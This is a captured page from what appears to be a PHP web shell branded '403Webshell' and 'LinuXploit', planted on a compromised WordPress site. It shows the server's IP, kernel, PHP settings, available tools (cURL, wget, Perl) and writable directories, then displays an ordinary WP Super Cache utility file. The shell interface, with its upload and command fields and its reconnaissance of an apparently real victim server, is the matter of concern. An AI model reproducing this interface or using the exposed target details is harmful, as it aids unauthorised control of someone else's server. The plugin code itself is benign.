403Webshell
Server IP : 207.135.97.11  /  Your IP : 172.19.0.1
Web Server : LiteSpeed
System : Linux 6d372a2d2e33 5.14.0-611.24.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jan 23 11:42:43 UTC 2026 x86_64
User : nobody ( 65534)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/ed.net.au/wp-content/plugins/wp-super-cache/src/device-detection/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/ed.net.au/wp-content/plugins/wp-super-cache/src/device-detection/functions.php
<?php
/**
 * Utility functions for device detection.
 *
 *  Since WPSC doesn't use an autoloader or composer, this is a simple copy/paste of the package
 *  as of November 11, 2025.
 *
 * @package automattic/jetpack-device-detection
 */

namespace Automattic\WPSC\Device_Detection;

// Check if the function is already defined, in case someone bypassed the autoloader or something
// to get the two classes from different copies of the package.
if ( ! function_exists( __NAMESPACE__ . '\\wp_unslash' ) ) {

	/**
	 * A wrapper for WordPress's `wp_unslash()`.
	 *
	 * Even though PHP itself dropped the option to add slashes to superglobals a decade ago,
	 * WordPress still does it through some misguided extreme backwards compatibility. 🙄
	 *
	 * If WordPress's function exists, assume it needs to be called.
	 * Else if on WordPress.com, do a simplified version because we're running really early.
	 * Else, assume it's not needed.
	 *
	 * @param string $value String of data to unslash.
	 * @return string Possibly unslashed $value.
	 */
	function wp_unslash( $value ) {
		if ( function_exists( '\\wp_unslash' ) ) {
			return \wp_unslash( $value );
		} elseif ( defined( 'IS_WPCOM' ) && IS_WPCOM ) {
			return stripslashes( $value );
		} else {
			return $value;
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit